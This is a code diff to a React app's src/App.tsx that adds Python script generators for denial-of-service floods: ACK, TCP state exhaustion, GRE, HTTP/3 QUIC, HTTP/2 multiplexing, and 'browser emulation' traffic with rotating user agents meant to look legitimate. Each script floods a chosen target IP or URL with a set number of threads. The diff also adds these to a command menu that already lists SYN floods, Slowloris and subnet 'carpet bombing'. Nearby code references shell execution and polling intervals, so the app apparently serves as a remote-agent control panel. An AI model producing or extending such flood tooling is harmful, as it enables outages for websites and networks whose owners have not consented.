Update src/App.tsx

src/App.tsx

@@ -85,6 +85,36 @@ const BLOCK_CONFIGS: Record<string, any> = {
     title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
     fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
     generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
+  },
+  ack_flood: {
+    title: 'L4 ACK Flood', color: 'bg-orange-600',
+    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def ack_flood(ip, port, duration, threads_count):\n    import socket, time, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n        except: stats["errors"] += 1; return\n        while time.time() < t_end:\n            try: s.sendto(b"ACK_DUMMY", (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(ack_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
+  },
+  connection_exhaustion: {
+    title: 'L4 State Exhaustion', color: 'bg-orange-600',
+    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def conn_exhaust(ip, port, duration, threads_count):\n    import socket, time, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        sockets = []\n        while time.time() < t_end:\n            try:\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)\n                s.connect((ip, int(port))); sockets.append(s); stats["sent"] += 1\n                if len(sockets) > 500: sockets.pop(0).close()\n            except: stats["errors"] += 1\n        for s in sockets:\n            try: s.close()\n            except: pass\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(conn_exhaust("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
+  },
+  gre_flood: {
+    title: 'L3/L4 GRE Flood', color: 'bg-orange-600',
+    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '512'}],
+    generator: (p: any) => `def gre_flood(ip, duration, threads_count, pkt_size):\n    import socket, time, threading, os\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)\n        except: stats["errors"] += 1; return\n        payload = os.urandom(int(pkt_size))\n        while time.time() < t_end:\n            try: s.sendto(payload, (ip, 0)); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(gre_flood("${p.ip}", ${p.duration}, ${p.threads}, ${p.size}))`
+  },
+  http3_quic_flood: {
+    title: 'L7 HTTP/3 QUIC Flood', color: 'bg-rose-600',
+    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '443'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def quic_flood(ip, port, duration, threads_count):\n    import socket, time, threading, os\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        except: return\n        while time.time() < t_end:\n            try: s.sendto(quic_payload, (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(quic_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
+  },
+  http2_multiplex: {
+    title: 'L7 HTTP/2 Multiplex Abuser', color: 'bg-rose-600',
+    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Concurrent Sessions', default: '10'}],
+    generator: (p: any) => `def http2_multiplex(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try:\n                session = requests.Session()\n                for _ in range(20):\n                    if time.time() >= t_end: break\n                    session.get(url, timeout=2)\n                    stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(http2_multiplex("${p.url}", ${p.duration}, ${p.threads}))`
+  },
+  browser_emulation: {
+    title: 'L7 Browser Emulation', color: 'bg-rose-600',
+    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Virtual Browsers', default: '10'}],
+    generator: (p: any) => `def browser_emulation(url, duration, threads_count):\n    import threading, time, requests, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    user_agents = [\n        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",\n        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"\n    ]\n    def worker():\n        session = requests.Session()\n        while time.time() < t_end:\n            try:\n                headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}\n                session.get(url, headers=headers, timeout=5)\n                stats["sent"] += 1\n                time.sleep(random.uniform(0.1, 0.8))\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(browser_emulation("${p.url}", ${p.duration}, ${p.threads}))`
   }
 };
 
@@ -1300,8 +1330,8 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
   const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
   const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
   const requiresFloodArgs = command === 'network_flood';
-  const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
-  const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood'].includes(floodType));
+  const requiresPacketSize = command === 'network_flood' && (floodType === 'udp_flood' || floodType === 'gre_flood');
+  const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood', 'ack_flood', 'connection_exhaustion', 'gre_flood', 'http3_quic_flood', 'http2_multiplex', 'browser_emulation'].includes(floodType));
   const requiresPorts = command === 'port_scan';
   const requiresInterval = command === 'change_poll_interval';
   const requiresShell = command === 'exec_shell';
@@ -1492,11 +1522,17 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
                       <option value="api_abuse_flood">API Abuse Flood</option>
                       <option value="cache_bypass_flood">Cache Bypass Flood</option>
                       <option value="websocket_flood">WebSocket Abuse</option>
+                      <option value="http2_multiplex">HTTP/2 Multiplex (Burst)</option>
+                      <option value="http3_quic_flood">HTTP/3 QUIC Abuse (UDP)</option>
+                      <option value="browser_emulation">Browser Emulation (Legit Traffic)</option>
                     </optgroup>
-                    <optgroup label="L4 Vectors (Transport)">
+                    <optgroup label="L3/L4 Vectors (Network/Transport)">
                       <option value="udp_flood">UDP Raw Datagram Flood</option>
                       <option value="tcp_connect_flood">TCP Connect Flood</option>
                       <option value="syn_flood">SYN Flood (Requires Root)</option>
+                      <option value="ack_flood">ACK Flood (Requires Root)</option>
+                      <option value="connection_exhaustion">TCP Connection Exhaustion</option>
+                      <option value="gre_flood">GRE Tunnel Flood (L3)</option>
                       <option value="carpet_bombing">Carpet Bombing (Subnet)</option>
                     </optgroup>
                   </select>